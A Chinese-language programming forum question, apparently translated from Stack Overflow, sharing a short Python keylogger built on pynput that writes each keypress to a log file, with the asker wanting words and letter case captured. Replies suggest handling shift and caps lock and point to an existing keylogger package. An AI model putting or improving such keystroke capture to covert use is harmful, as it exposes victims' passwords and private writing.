【发布时间】:2019-10-30 17:11:47
【问题描述】:
我正在 python 中创建一个键盘记录器,事情是
问题案例:
it didn't capture as a **word/sentence**
no **case sensitive**.
记录器源代码
from pynput.keyboard import Key, Listener
import logging
#log file path
log_path=""
logging.basicConfig(filename=(log_path+"log_file.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s' )
def btn_press(key):
logging.info(key)
with Listener(on_press=btn_press) as listene:
listene.join()
测试用例:
“你好记录仪”
日志文件/输出
'h'
'e'
'l'
'l'
'o'
'l'
'o'
'g'
'g'
'e'
'r'
**预期结果应该是
日志文件/输出**
你好记录器
任何改进此功能的修改
【问题讨论】:
-
您必须检测到按下 shift/caps lock 并采取相应措施。
-
顺便说一句,已经有一个键盘记录程序包:pypi.org/project/keylogger